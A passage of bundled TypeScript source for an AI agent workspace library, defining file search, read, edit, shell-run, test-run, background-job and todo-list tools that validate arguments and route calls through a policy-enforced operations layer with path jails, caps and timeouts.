glob.invoke({ pattern: \"src/models/**\\/*.ts\" });\n * console.log(data?.paths);\n */\nexport function makeGlobTool(\n ops: WorkspaceOps,\n options?: MakeGlobToolOptions,\n): ToolContract<GlobInput, GlobResult> {\n return tool<GlobInput, GlobResult>({\n name: options?.name ?? \"glob\",\n description:\n \"Find files in the workspace whose path matches a glob pattern \" +\n \"(supports `*`, `**`, and `?`). Returns the matching \" +\n \"workspace-relative paths, sorted.\",\n action: (input) => `Finding files matching ${input.pattern}`,\n input: globInputSchema,\n async execute(input) {\n const paths = await ops.glob(input.pattern);\n\n return { paths };\n },\n });\n}\n","import { type ToolContract, tool } from \"@warlock.js/ai\";\nimport { objectSchema, optionalBooleanField, optionalStringField, stringField } from \"./schema\";\nimport { GREP_JSON_SCHEMA } from \"./json-schemas\";\nimport type { GrepInput, GrepResult, WorkspaceOps } from \"../contracts\";\n\n/** Options accepted by {@link makeGrepTool} to customize the vended tool. */\nexport interface MakeGrepToolOptions {\n /**\n * Override the tool name the LLM sees. Defaults to `\"grep\"`. Use a\n * custom name when wiring several workspaces into one agent so each\n * search surface is addressable.\n */\n name?: string;\n}\n\n/**\n * Standard Schema for {@link GrepInput} — `pattern` is a required string;\n * `glob` and `ignoreCase` are optional. Built on the package's shared,\n * dependency-free schema builders (no schema library, matching the\n * validator idiom the `@warlock.js/ai` tool runtime expects).\n */\nconst grepInputSchema = objectSchema<GrepInput>(\n {\n pattern: stringField(),\n glob: optionalStringField(),\n ignoreCase: optionalBooleanField(),\n },\n GREP_JSON_SCHEMA,\n);\n\n/**\n * Build the agent-facing `grep` tool — a regex content search across the\n * jailed file set. The returned {@link ToolContract} validates the LLM's\n * arguments, then delegates verbatim to {@link WorkspaceOps.grep}, so the\n * policy jail, `denyPaths` filtering, and match cap are enforced in the\n * single shared ops layer rather than duplicated here. A policy violation\n * (e.g. a jail-resolution failure) surfaces as typed tool-error *data*\n * via the runtime's `invoke()` wrapper, never as a thrown run-killer.\n *\n * @param ops - The policy-enforced operation layer to delegate to.\n * @param options - Optional `{ name }` override for the vended tool name.\n * @returns A {@link ToolContract} the agent can call as `grep`.\n *\n * @example\n * const grep = makeGrepTool(ops);\n * const { data } = await grep.invoke({ pattern: \"TODO\", glob: \"src/*.ts\" });\n * console.log(data?.total, data?.matches);\n */\nexport function makeGrepTool(\n ops: WorkspaceOps,\n options?: MakeGrepToolOptions,\n): ToolContract<GrepInput, GrepResult> {\n return tool<GrepInput, GrepResult>({\n name: options?.name ?? \"grep\",\n description:\n \"Search file contents across the workspace for a regular-expression \" +\n \"pattern. Optionally narrow the scanned files with a glob and match \" +\n \"case-insensitively. Returns every matching line with its file path \" +\n \"and 1-based line number.\",\n action: (input) => `Searching for /${input.pattern}/`,\n input: grepInputSchema,\n async execute(input) {\n return ops.grep(input.pattern, {\n glob: input.glob,\n ignoreCase: input.ignoreCase,\n });\n },\n });\n}\n","import { tool, type ToolContract } from \"@warlock.js/ai\";\nimport type { ListDirInput, ListDirResult, WorkspaceOps } from \"../contracts\";\nimport { LIST_DIR_JSON_SCHEMA } from \"./json-schemas\";\nimport {\n objectSchema,\n optionalNumberField,\n optionalStringArrayField,\n optionalStringField,\n} from \"./schema\";\n\n/** Default tool name exposed to the LLM. */\nconst DEFAULT_NAME = \"list_dir\";\n\n/** Input schema for the `list_dir` tool. */\nconst inputSchema = objectSchema<ListDirInput>(\n {\n path: optionalStringField(),\n depth: optionalNumberField(),\n ignore: optionalStringArrayField(),\n },\n LIST_DIR_JSON_SCHEMA,\n);\n\n/**\n * Build the agent-facing `list_dir` tool over a workspace's policy-enforced\n * {@link WorkspaceOps}: a bounded, jailed listing of one directory.\n *\n * Entries come back breadth-first (each level sorted by name) with their\n * type and — for files — size, down to `depth` levels (capped by\n * `list.maxDepth`) and at most `list.maxEntries` entries (`truncated` says\n * when the cap hit). `denyPaths` are always left out, as are the\n * `list.ignore` globs (default `node_modules`, `.git`) and any `ignore`\n * globs the model passes. Symlinks are reported as `\"symlink\"` and never\n * followed. A path outside the jail surfaces as a `WorkspacePolicyError` in\n * the result's `error` field.\n *\n * @param ops - The shared, policy-enforced operation layer.\n * @param options - Optional overrides; `name` renames the LLM-visible tool.\n *\n * @example\n * const listDir = makeListDirTool(ops);\n * const { data } = await listDir.invoke({ path: \"src\", depth: 2 });\n * for (const entry of data?.entries ?? []) console.log(entry.type, entry.path, entry.size);\n */\nexport function makeListDirTool(\n ops: WorkspaceOps,\n options?: { name?: string },\n): ToolContract<ListDirInput, ListDirResult> {\n return tool<ListDirInput, ListDirResult>({\n name: options?.name ?? DEFAULT_NAME,\n description:\n \"List a workspace directory: entries with their type and file size, \" +\n \"breadth-first, `depth` levels deep (default 1). Dependency and VCS \" +\n \"folders are left out unless you list them directly.\",\n action: (input) => `Listing ${typeof input.path === \"string\" ? input.path : \".\"}`,\n input: inputSchema,\n execute: (input) =>\n ops.listDir(input.path ?? \".\", {\n ...(input.depth !== undefined ? { depth: input.depth } : {}),\n ...(input.ignore !== undefined ? { ignore: input.ignore } : {}),\n }),\n });\n}\n","import type { StandardSchemaV1 } from \"@standard-schema/spec\";\nimport { tool, type ToolContract } from \"@warlock.js/ai\";\nimport { MAX_MULTI_EDITS } from \"../ops\";\nimport type {\n MultiEditInput,\n MultiEditOperation,\n MultiEditResult,\n WorkspaceOps,\n} from \"../contracts\";\nimport { MULTI_EDIT_JSON_SCHEMA } from \"./json-schemas\";\nimport { withJsonSchema } from \"./schema\";\n\n/** Default tool name exposed to the LLM. */\nconst DEFAULT_NAME = \"multi_edit\";\n\n/** Validate one element of `edits`. */\nfunction validateEdit(\n value: unknown,\n index: number,\n): { edit: MultiEditOperation } | { issues: StandardSchemaV1.Issue[] } {\n if (typeof value !== \"object\" || value === null || Array.isArray(value)) {\n return { issues: [{ message: `edits[${index}] must be an object`, path: [\"edits\", index] }] };\n }\n\n const candidate = value as Record<string, unknown>;\n const issues: StandardSchemaV1.Issue[] = [];\n\n if (typeof candidate.oldString !== \"string\" || candidate.oldString === \"\") {\n issues.push({\n message: `edits[${index}].oldString must be a non-empty string`,\n path: [\"edits\", index, \"oldString\"],\n });\n }\n\n if (typeof candidate.newString !== \"string\") {\n issues.push({\n message: `edits[${index}].newString must be a string`,\n path: [\"edits\", index, \"newString\"],\n });\n }\n\n if (candidate.replaceAll !== undefined && typeof candidate.replaceAll !== \"boolean\") {\n issues.push({\n message: `edits[${index}].replaceAll must be a boolean when provided`,\n path: [\"edits\", index, \"replaceAll\"],\n });\n }\n\n if (\n issues.length > 0 ||\n typeof candidate.oldString !== \"string\" ||\n typeof candidate.newString !== \"string\"\n ) {\n return { issues };\n }\n\n return {\n edit: {\n oldString: candidate.oldString,\n newString: candidate.newString,\n ...(candidate.replaceAll === true ? { replaceAll: true } : {}),\n },\n };\n}\n\n/** Input schema for the `multi_edit` tool. */\nconst inputSchema = withJsonSchema<MultiEditInput>(\n {\n \"~standard\": {\n version: 1,\n vendor: \"ai-workspace\",\n validate(value) {\n if (typeof value !== \"object\" || value === null || Array.isArray(value)) {\n return { issues: [{ message: \"input must be an object\" }] };\n }\n\n const candidate = value as Record<string, unknown>;\n const issues: StandardSchemaV1.Issue[] = [];\n const edits: MultiEditOperation[] = [];\n\n if (typeof candidate.path !== \"string\" || candidate.path === \"\") {\n issues.push({ message: '\"path\" must be a non-empty string', path: [\"path\"] });\n }\n\n if (candidate.expectHash !== undefined && typeof candidate.expectHash !== \"string\") {\n issues.push({\n message: '\"expectHash\" must be a string when provided',\n path: [\"expectHash\"],\n });\n }\n\n if (\n !Array.isArray(candidate.edits) ||\n candidate.edits.length === 0 ||\n candidate.edits.length > MAX_MULTI_EDITS\n ) {\n issues.push({\n message: `\"edits\" must be an array of 1 to ${MAX_MULTI_EDITS} edits`,\n path: [\"edits\"],\n });\n } else {\n candidate.edits.forEach((item: unknown, index: number) => {\n const outcome = validateEdit(item, index);\n\n if (\"issues\" in outcome) {\n issues.push(...outcome.issues);\n } else {\n edits.push(outcome.edit);\n }\n });\n }\n\n if (issues.length > 0 || typeof candidate.path !== \"string\") {\n return { issues };\n }\n\n return {\n value: {\n path: candidate.path,\n edits,\n ...(typeof candidate.expectHash === \"string\"\n ? { expectHash: candidate.expectHash }\n : {}),\n },\n };\n },\n },\n },\n MULTI_EDIT_JSON_SCHEMA,\n);\n\n/**\n * Build the agent-facing `multi_edit` tool over a workspace's policy-\n * enforced {@link WorkspaceOps}: several exact-string replacements in one\n * file, **atomic** — every edit applies, in order (each against the result\n * of the previous ones), and the file is written once; or one edit fails\n * and nothing is written.\n *\n * Each edit follows the `edit_file` rules: `oldString` must be found, and\n * found exactly once unless `replaceAll`. An optional `expectHash` (from\n * `read_file`) rejects the whole call when the file changed since it was\n * read. A failure surfaces as a `WorkspaceEditError` in the result's\n * `error` field, with `editIndex` naming the failing edit.\n *\n * @param ops - The shared, policy-enforced operation layer.\n * @param options - Optional overrides; `name` renames the LLM-visible tool.\n *\n * @example\n * const multiEdit = makeMultiEditTool(ops);\n * const { data, error } = await multiEdit.invoke({\n * path: \"src/cart.ts\",\n * expectHash,\n * edits: [\n * { oldString: \"let total = 0;\", newString: \"let total = 0n;\" },\n * { oldString: \"total += price;\", newString: \"total += BigInt(price);\" },\n * ],\n * });\n */\nexport function makeMultiEditTool(\n ops: WorkspaceOps,\n options?: { name?: string },\n): ToolContract<MultiEditInput, MultiEditResult> {\n return tool<MultiEditInput, MultiEditResult>({\n name: options?.name ?? DEFAULT_NAME,\n description:\n \"Make several exact-string replacements in one workspace file at once. \" +\n \"Edits apply in order, each to the result of the previous; if any \" +\n \"edit fails (text not found, or not unique without replaceAll) none \" +\n \"are applied. Pass expectHash (from read_file) to reject the call if \" +\n \"the file changed since you read it.\",\n action: (input) => `Editing ${typeof input.path === \"string\" ? input.path : \"a file\"}`,\n input: inputSchema,\n execute: (input) => ops.multiEdit(input),\n });\n}\n","import { tool, type ToolContract } from \"@warlock.js/ai\";\nimport { objectSchema, optionalNumberField, stringField } from \"./schema\";\nimport { READ_FILE_JSON_SCHEMA } from \"./json-schemas\";\nimport type { ReadFileInput, ReadFileResult, WorkspaceOps } from \"../contracts\";\n\n/** Default tool name exposed to the LLM. */\nconst DEFAULT_NAME = \"read_file\";\n\n/** Input schema for the `read_file` tool. */\nconst inputSchema = objectSchema<ReadFileInput>(\n {\n path: stringField(),\n startLine: optionalNumberField(),\n limit: optionalNumberField(),\n },\n READ_FILE_JSON_SCHEMA,\n);\n\n/**\n * Build the agent-facing `read_file` tool over a workspace's policy-\n * enforced {@link WorkspaceOps}.\n *\n * The tool validates `{ path, startLine?, limit? }` against a Standard\n * Schema, then delegates to `ops.readFile`, mapping the result into the\n * agent wire shape {@link ReadFileResult} — the full file's `hash` an\n * agent must carry into a later `edit_file` (read-before-edit), plus the\n * `startLine` / `endLine` / `truncated` / `bytesCapped` window metadata.\n * The returned `content` never exceeds the policy's `read.maxBytes`.\n *\n * **Errors flow as data.** Policy violations (a jail escape) are thrown\n * by `ops`; the `tool()` wrapper catches them and surfaces them in the\n * returned `{ error }` field — `invoke()` never throws — so the agent can\n * read the failure and self-correct.\n *\n * @param ops - The shared, policy-enforced operation layer.\n * @param options - Optional overrides; `name` renames the LLM-visible tool.\n *\n * @example\n * const readTool = makeReadFileTool(ops);\n * const { data, error } = await readTool.invoke({ path: \"src/index.ts\" });\n * if (!error) console.log(data.hash); // feed into edit_file's expectHash\n */\nexport function makeReadFileTool(\n ops: WorkspaceOps,\n options?: { name?: string },\n): ToolContract<ReadFileInput, ReadFileResult> {\n return tool<ReadFileInput, ReadFileResult>({\n name: options?.name ?? DEFAULT_NAME,\n description:\n \"Read a file from the workspace, returning a numbered line window plus \" +\n \"the file's content hash. Pass the hash to edit_file's expectHash to \" +\n \"guard against editing a stale version. Use startLine/limit to page \" +\n \"through large files. Output is byte-capped by the workspace policy; \" +\n \"when bytesCapped is true the last returned line may be cut short.\",\n input: inputSchema,\n async execute(input) {\n // The ops layer owns the window and byte-cap arithmetic, so the tool\n // and the direct `readFile()` return identical results for the same\n // arguments.\n return ops.readFile(input.path, {\n offset: input.startLine !== undefined ? Math.max(1, input.startLine) : 1,\n limit: input.limit,\n });\n },\n });\n}\n","import type { StandardSchemaV1 } from \"@standard-schema/spec\";\nimport { tool, type ToolContract } from \"@warlock.js/ai\";\nimport { WorkspacePolicyError } from \"../errors\";\nimport type {\n RunShellBackgroundResult,\n RunShellInput,\n RunShellResult,\n WorkspaceOps,\n} from \"../contracts\";\nimport { runShellJsonSchema } from \"./json-schemas\";\nimport { withJsonSchema } from \"./schema\";\n\n/** The default tool name `run_shell` is exposed to the LLM under. */\nconst DEFAULT_RUN_SHELL_TOOL_NAME = \"run_shell\";\n\n/**\n * Hand-rolled Standard Schema for {@link RunShellInput}. We validate the\n * model's arguments without a runtime schema dependency: `command` must be\n * a non-empty string, `timeoutMs` (when present) a positive number and\n * `background` (when present) a boolean. Invalid args surface as a\n * `SchemaValidationError` in the tool result's `error` field rather than\n * reaching `ops.exec`.\n */\nfunction runShellInputSchema(background: boolean): StandardSchemaV1<RunShellInput> {\n const schema: StandardSchemaV1<RunShellInput> = {\n \"~standard\": {\n version: 1,\n vendor: \"@warlock.js/ai-workspace\",\n validate: (value) => {\n if (typeof value !== \"object\" || value === null) {\n return { issues: [{ message: \"expected an object\" }] };\n }\n\n const candidate = value as Record<string, unknown>;\n\n if (typeof candidate.command !== \"string\" || candidate.command.length === 0) {\n return {\n issues: [{ message: \"command must be a non-empty string\", path: [\"command\"] }],\n };\n }\n\n if (\n candidate.timeoutMs !== undefined &&\n (typeof candidate.timeoutMs !== \"number\" || candidate.timeoutMs <= 0)\n ) {\n return {\n issues: [{ message: \"timeoutMs must be a positive number\", path: [\"timeoutMs\"] }],\n };\n }\n\n if (candidate.background !== undefined && typeof candidate.background !== \"boolean\") {\n return {\n issues: [{ message: \"background must be a boolean\", path: [\"background\"] }],\n };\n }\n\n const result: RunShellInput = { command: candidate.command };\n\n if (typeof candidate.timeoutMs === \"number\") {\n result.timeoutMs = candidate.timeoutMs;\n }\n\n if (candidate.background === true) {\n result.background = true;\n }\n\n return { value: result };\n },\n },\n };\n\n return withJsonSchema(schema, runShellJsonSchema(background));\n}\n\n/** Options for {@link makeRunShellTool}. */\nexport interface MakeRunShellToolOptions {\n /** Override the tool name exposed to the LLM (default `\"run_shell\"`). */\n name?: string;\n /**\n * Upper bound for a model-supplied `timeoutMs` on a foreground command —\n * the model can lower the timeout, never raise it past this. The\n * workspace passes its `shell.timeoutMs`.\n */\n maxTimeoutMs?: number;\n /**\n * Accept `background: true` and start the command as a background job\n * (`ops.startShell`), returning a {@link RunShellBackgroundResult}. The\n * workspace sets it when the policy has `shell.background`. Default\n * `false`: a background request is refused.\n */\n background?: boolean;\n}\n\n/** The lower of the model's timeout and the cap (either may be absent). */\nfunction cappedTimeout(requested: number | undefined, cap: number | undefined): number | undefined {\n if (requested === undefined) {\n return cap;\n }\n\n return cap === undefined ? requested : Math.min(requested, cap);\n}\n\n/**\n * Build the `run_shell` tool — a {@link ToolContract} that runs a command\n * line through the policy-enforced {@link WorkspaceOps} layer.\n *\n * Every command in the line is checked against the shell policy by\n * `ops.exec`; a refused line throws a `WorkspacePolicyError` (with a\n * `reason` and a message that says how to fix the command) which the\n * `tool()` runtime catches and surfaces in the result's `error` field\n * (never a thrown run-killer), so the agent reads the refusal as tool data\n * and self-corrects. A command that runs but exits non-zero is *not* an\n * error — its `exitCode`/`stderr` come back in `data` for the agent to\n * inspect.\n *\n * The agent run's cancellation `signal` (from the dispatch `ctx`) is passed\n * to `ops.exec` per invocation: a cancelled run never starts the command,\n * and one cancelled mid-command kills its process tree (`cancelled: true`).\n * A background command (`background: true`, when enabled) belongs to the\n * workspace instead and keeps running after the call returns.\n *\n * @param ops - The policy-enforced operation layer to delegate `exec` to.\n * @param options - Tool-name override, timeout cap and background support.\n *\n * @example\n * const runShell = makeRunShellTool(ops);\n * const { data, error } = await runShell.invoke({ command: \"npm run build\" });\n * if (error) handleDenied(error);\n * else console.log(data.exitCode, data.stdout);\n */\nexport function makeRunShellTool(\n ops: WorkspaceOps,\n options?: MakeRunShellToolOptions & { background?: false },\n): ToolContract<RunShellInput, RunShellResult>;\nexport function makeRunShellTool(\n ops: WorkspaceOps,\n options: MakeRunShellToolOptions & { background: true },\n): ToolContract<RunShellInput, RunShellResult | RunShellBackgroundResult>;\nexport function makeRunShellTool(\n ops: WorkspaceOps,\n options?: MakeRunShellToolOptions,\n): ToolContract<RunShellInput, RunShellResult | RunShellBackgroundResult>;\nexport function makeRunShellTool(\n ops: WorkspaceOps,\n options?: MakeRunShellToolOptions,\n): ToolContract<RunShellInput, RunShellResult | RunShellBackgroundResult> {\n const background = options?.background === true;\n\n return tool<RunShellInput, RunShellResult | RunShellBackgroundResult>({\n name: options?.name ?? DEFAULT_RUN_SHELL_TOOL_NAME,\n description:\n \"Run a shell command inside the workspace. Every command in it must be \" +\n \"permitted by the shell policy; a refusal explains how to fix the \" +\n \"command. Output is byte-capped and the run is time-limited. A \" +\n \"non-zero exit code is returned as data, not an error.\" +\n (background\n ? \" Pass background: true for a long-running command (dev server, \" +\n \"watcher): it returns an id at once; read its output with \" +\n \"shell_output and stop it with shell_kill.\"\n : \"\"),\n action: (input) => `Running \\`${input.command}\\``,\n input: runShellInputSchema(background),\n // The run's signal belongs to this one invocation: it is read from the\n // dispatch ctx on every call and never stored on the tool or workspace.\n execute: async (input, ctx) => {\n if (input.background === true) {\n if (!background) {\n throw new WorkspacePolicyError(\n \"Background commands are not enabled for this workspace; run the command without background.\",\n { type: \"denied-command\", reason: \"not-allowed\", command: input.command },\n );\n }\n\n const job = await ops.startShell(\n input.command,\n input.timeoutMs !== undefined ? { timeoutMs: input.timeoutMs } : undefined,\n );\n\n return { ...job, background: true };\n }\n\n const timeoutMs = cappedTimeout(input.timeoutMs, options?.maxTimeoutMs);\n\n return ops.exec(input.command, {\n ...(timeoutMs !== undefined ? { timeoutMs } : {}),\n ...(ctx?.signal ? { signal: ctx.signal } : {}),\n });\n },\n });\n}\n","import type { StandardSchemaV1 } from \"@standard-schema/spec\";\nimport { tool, type ToolContract } from \"@warlock.js/ai\";\nimport type {\n RunShellResult,\n RunTestsInput,\n WorkspaceOps,\n WorkspaceShellInterpreter,\n} from \"../contracts\";\nimport { RUN_TESTS_JSON_SCHEMA } from \"./json-schemas\";\nimport { withJsonSchema } from \"./schema\";\n\n/** The default tool name `run_tests` is exposed to the LLM under. */\nconst DEFAULT_RUN_TESTS_TOOL_NAME = \"run_tests\";\n\n/** The default command run when no `command` override is configured. */\nconst DEFAULT_TEST_COMMAND = \"npm test\";\n\n/**\n * Hand-rolled Standard Schema for {@link RunTestsInput}. `pattern` is the\n * only field and is optional; when present it must be a string without\n * double quotes or newlines — the pattern is forwarded to the runner as a\n * single double-quoted argument, and those characters would break out of\n * the quoting (i.e. inject extra arguments or commands). Validation\n * happens without a runtime schema dependency, mirroring the wider tool\n * layer.\n */\nconst runTestsInputSchema: StandardSchemaV1<RunTestsInput> = withJsonSchema<RunTestsInput>(\n {\n \"~standard\": {\n version: 1,\n vendor: \"@warlock.js/ai-workspace\",\n validate: (value) => {\n // A no-argument call (the common case) is valid and runs the bare\n // test command.\n if (value === undefined || value === null) {\n return { value: {} };\n }\n\n if (typeof value !== \"object\") {\n return { issues: [{ message: \"expected an object\" }] };\n }\n\n const candidate = value as Record<string, unknown>;\n\n if (candidate.pattern !== undefined && typeof candidate.pattern !== \"string\") {\n return { issues: [{ message: \"pattern must be a string\", path: [\"pattern\"] }] };\n }\n\n if (typeof candidate.pattern === \"string\" && /[\"\\r\\n]/.test(candidate.pattern)) {\n return {\n issues: [\n {\n message: \"pattern must not contain double quotes or newlines\",\n path: [\"pattern\"],\n },\n ],\n };\n }\n\n const result: RunTestsInput = {};\n\n if (candidate.pattern !== undefined) {\n result.pattern = candidate.pattern as string;\n }\n\n return { value: result };\n },\n },\n },\n RUN_TESTS_JSON_SCHEMA,\n);\n\n/** Options for {@link makeRunTestsTool}. */\nexport interface MakeRunTestsToolOptions {\n /** Override the tool name exposed to the LLM (default `\"run_tests\"`). */\n name?: string;\n /**\n * The base test command to run (default `\"npm test\"`). When the model\n * supplies a `pattern`, it is appended to this command as a single\n * quoted argument.\n */\n command?: string;\n /**\n * The workspace's `shell.interpreter`, so the pattern is quoted for the\n * way the line runs: double quotes in argv mode (the default), single\n * quotes for `/bin/sh` (so `$` and backticks in a pattern stay literal),\n * double quotes for cmd.exe.\n */\n interpreter?: WorkspaceShellInterpreter;\n}\n\n/** Quote the test pattern as one literal argument for the line's interpreter. */\nfunction quotePattern(pattern: string, interpreter: WorkspaceShellInterpreter): string {\n if (interpreter === \"sh\" && process.platform !== \"win32\") {\n return `'${pattern.replace(/'/g, \"'\\\\''\")}'`;\n }\n\n return `\"${pattern}\"`;\n}\n\n/**\n * Build the `run_tests` tool — a {@link ToolContract} convenience over\n * `run_shell` that runs the workspace's configured test command through\n * the policy-enforced {@link WorkspaceOps} layer.\n *\n * The base command defaults to `\"npm test\"` and can be overridden via\n * `options.command`. When the model passes a `pattern`, it is appended to\n * the command as a **single quoted argument** — a path/suite filter the\n * tokenizer hands to the runner as one argv element (e.g.\n * `npm test \"src/cart\"`), so shell metacharacters inside it are literal\n * data, never a second command. Like `run_shell`, the resolved command's\n * executable is gated by the shell policy — a denial surfaces in the\n * result's `error` field — and a non-zero exit (failing tests) comes back\n * as `data` for the agent to read and fix. The agent run's cancellation\n * `signal` is threaded per invocation, exactly as for `run_shell`.\n *\n * @param ops - The policy-enforced operation layer to delegate `exec` to.\n * @param options - Optional tool-name and base-command overrides.\n *\n * @example\n * const runTests = makeRunTestsTool(ops, { command: \"pnpm test\" });\n * const { data } = await runTests.invoke({ pattern: \"cart-total\" });\n * if (data.exitCode !== 0) inspect(data.stderr);\n */\nexport function makeRunTestsTool(\n ops: WorkspaceOps,\n options?: MakeRunTestsToolOptions,\n): ToolContract<RunTestsInput, RunShellResult> {\n const baseCommand = options?.command ?? DEFAULT_TEST_COMMAND;\n\n return tool<RunTestsInput, RunShellResult>({\n name: options?.name ?? DEFAULT_RUN_TESTS_TOOL_NAME,\n description:\n \"Run the workspace's test suite, optionally narrowed to a path or \" +\n \"name pattern forwarded to the test runner. Failing tests return a \" +\n \"non-zero exit code as data, not an error.\",\n action: (input) =>\n input.pattern ? `Running tests matching \"${input.pattern}\"` : \"Running tests\",\n input: runTestsInputSchema,\n execute: (input, ctx) => {\n // The pattern rides as ONE quoted token (double quotes and newlines are\n // rejected by the schema; under /bin/sh it is single-quoted, so `$` and\n // backticks stay literal), so it reaches the runner as a single argv\n // element and can never smuggle in additional commands or arguments.\n const command = input.pattern\n ? `${baseCommand} ${quotePattern(input.pattern, options?.interpreter ?? \"none\")}`\n : baseCommand;\n\n return ops.exec(command, ctx?.signal ? { signal: ctx.signal } : undefined);\n },\n });\n}\n","import { tool, type ToolContract } from \"@warlock.js/ai\";\nimport type { ShellJobInfo, ShellKillInput, WorkspaceOps } from \"../contracts\";\nimport { SHELL_KILL_JSON_SCHEMA } from \"./json-schemas\";\nimport { objectSchema, stringField } from \"./schema\";\n\n/** Default tool name exposed to the LLM. */\nconst DEFAULT_NAME = \"shell_kill\";\n\n/** Input schema for the `shell_kill` tool. */\nconst inputSchema = objectSchema<ShellKillInput>({ id: stringField() }, SHELL_KILL_JSON_SCHEMA);\n\n/**\n * Build the agent-facing `shell_kill` tool: stop a background command\n * started with `run_shell({ background: true })`, killing its whole process\n * tree, and return its final state. Killing a command that already stopped\n * just reports its state. An unknown id surfaces as a `WorkspaceJobError`\n * in the result's `error` field.\n *\n * @param ops - The shared, policy-enforced operation layer.\n * @param options - Optional overrides; `name` renames the LLM-visible tool.\n *\n * @example\n * const { data } = await makeShellKillTool(ops).invoke({ id: \"job-1\" });\n * console.log(data?.status); // \"killed\"\n */\nexport function makeShellKillTool(\n ops: WorkspaceOps,\n options?: { name?: string },\n): ToolContract<ShellKillInput, ShellJobInfo> {\n return tool<ShellKillInput, ShellJobInfo>({\n name: options?.name ?? DEFAULT_NAME,\n description:\n \"Stop a background command started with run_shell (background: true), \" +\n \"killing it and everything it started. Returns its final state.\",\n action: (input) =>\n `Stopping ${typeof input.id === \"string\" ? input.id : \"a background command\"}`,\n input: inputSchema,\n execute: (input) => ops.shellKill(input.id),\n });\n}\n","import { tool, type ToolContract } from \"@warlock.js/ai\";\nimport type { ShellOutputInput, ShellOutputResult, WorkspaceOps } from \"../contracts\";\nimport { SHELL_OUTPUT_JSON_SCHEMA } from \"./json-schemas\";\nimport { objectSchema, optionalNumberField, stringField } from \"./schema\";\n\n/** Default tool name exposed to the LLM. */\nconst DEFAULT_NAME = \"shell_output\";\n\n/** Input schema for the `shell_output` tool. */\nconst inputSchema = objectSchema<ShellOutputInput>(\n {\n id: stringField(),\n since: optionalNumberField(),\n waitMs: optionalNumberField(),\n },\n SHELL_OUTPUT_JSON_SCHEMA,\n);\n\n/**\n * Build the agent-facing `shell_output` tool: the new output of a\n * background command started with `run_shell({ background: true })`, plus\n * its state (`running` / `exited` / `killed` / `timed-out`, `exitCode`).\n *\n * Without `since` it returns everything produced since the previous read;\n * `cursor` in the result is the position to pass as `since` next time.\n * `waitMs` (at most 30 s) waits for new output or for the command to stop\n * when there is nothing new yet — the agent run's signal ends the wait\n * early. Only the newest `shell.maxOutputBytes` of a command's output are\n * kept; `droppedBytes` says how much the reader missed.\n *\n * @param ops - The shared, policy-enforced operation layer.\n * @param options - Optional overrides; `name` renames the LLM-visible tool.\n *\n * @example\n * const { data } = await makeShellOutputTool(ops).invoke({ id: \"job-1\", waitMs: 2_000 });\n * if (data?.stdout.includes(\"ready\")) console.log(\"dev server is up\");\n */\nexport function makeShellOutputTool(\n ops: WorkspaceOps,\n options?: { name?: string },\n): ToolContract<ShellOutputInput, ShellOutputResult> {\n return tool<ShellOutputInput, ShellOutputResult>({\n name: options?.name ?? DEFAULT_NAME,\n description:\n \"Read new output of a background command started with run_shell \" +\n \"(background: true) and see whether it is still running. Returns \" +\n \"output since the last read; waitMs waits briefly for more.\",\n action: (input) =>\n `Reading output of ${typeof input.id === \"string\" ? input.id : \"a background command\"}`,\n input: inputSchema,\n execute: (input, ctx) =>\n ops.shellOutput(input.id, {\n ...(input.since !== undefined ? { since: input.since } : {}),\n ...(input.waitMs !== undefined ? { waitMs: input.waitMs } : {}),\n ...(ctx?.signal ? { signal: ctx.signal } : {}),\n }),\n });\n}\n","import type {\n TodoListResult,\n WorkspaceTodo,\n WorkspaceTodoInput,\n WorkspaceTodoStatus,\n} from \"./contracts\";\n\n/** Most items a todo list may hold. */\nexport const MAX_TODOS = 100;\n\n/** Longest `content` one todo item may have. */\nexport const MAX_TODO_CONTENT_LENGTH = 1_000;\n\n/** The statuses a todo item may have, in display order. */\nexport const TODO_STATUSES: readonly WorkspaceTodoStatus[] = [\n \"pending\",\n \"in_progress\",\n \"completed\",\n];\n\n/**\n * Validate a whole replacement list. Returns the problems found (empty when\n * the list is valid) so the tool schema and the direct method share one\n * set of rules.\n */\nexport function todoListProblems(todos: readonly WorkspaceTodoInput[]): string[] {\n const problems: string[] = [];\n const ids = new Set<string>();\n\n if (todos.length > MAX_TODOS) {\n problems.push(`a todo list holds at most ${MAX_TODOS} items (got ${todos.length})`);\n }\n\n todos.forEach((todo, index) => {\n if (todo.content.trim() === \"\") {\n problems.push(`todos[${index}].content must not be empty`);\n }\n\n if (todo.content.length > MAX_TODO_CONTENT_LENGTH) {\n problems.push(`todos[${index}].content is longer than ${MAX_TODO_CONTENT_LENGTH} characters`);\n }\n\n if (!TODO_STATUSES.includes(todo.status)) {\n problems.push(`todos[${index}].status must be one of ${TODO_STATUSES.join(\", \")}`);\n }\n\n const id = todo.id ?? String(index + 1);\n\n if (ids.has(id)) {\n problems.push(`todos[${index}].id \"${id}\" is used more than once`);\n }\n\n ids.add(id);\n });\n\n return problems;\n}\n\n/**\n * The in-memory todo list of one workspace (shared by its projections).\n * `write` replaces the whole list, the way an agent's plan tool usually\n * works: the model sends the full updated list every time.\n */\nexport class TodoStore {\n private items: WorkspaceTodo[] = [];\n\n /** The current list and a count per status. */\n public read(): TodoListResult {\n const counts: Record<WorkspaceTodoStatus, number> = {\n pending: 0,\n in_progress: 0,\n completed: 0,\n };\n\n for (const item of this.items) {\n counts[item.status]++;\n }\n\n return { todos: this.items.map((item) => ({ ...item })), counts };\n }\n\n /**\n * Replace the list. Items without an `id` get their 1-based position as\n * one. Throws a `RangeError` naming every problem when the list is invalid\n * (too long, empty content, unknown status, duplicate id); the old list is\n * kept in that case.\n */\n public write(todos: readonly WorkspaceTodoInput[]): TodoListResult {\n const problems = todoListProblems(todos);\n\n if (problems.length > 0) {\n throw new RangeError(`Invalid todo list: ${problems.join(\"; \")}.`);\n }\n\n this.items = todos.map((todo, index) => ({\n id: todo.id ?? String(index + 1),\n content: todo.content.trim(),\n status: todo.status,\n }));\n\n return this.read();\n }\n}\n","import type { StandardSchemaV1 } from \"@standard-schema/spec\";\nimport { tool, type ToolContract } from \"@warlock.js/ai\";\nimport { MAX_TODOS, TODO_STATUSES, type TodoStore, todoListProblems } from \"../todos\";\nimport type {\n TodoListResult,\n TodoWriteInput,\n WorkspaceTodoInput,\n WorkspaceTodoStatus,\n} from \"../contracts\";\nimport { TODO_READ_JSON_SCHEMA, TODO_WRITE_JSON_SCHEMA } from \"./json-schemas\";\nimport { withJsonSchema } from \"./schema\";\n\n/** Whether `value` is a todo status. */\nfunction isTodoStatus(value: unknown): value is WorkspaceTodoStatus {\n return typeof value === \"string\" && (TODO_STATUSES as readonly 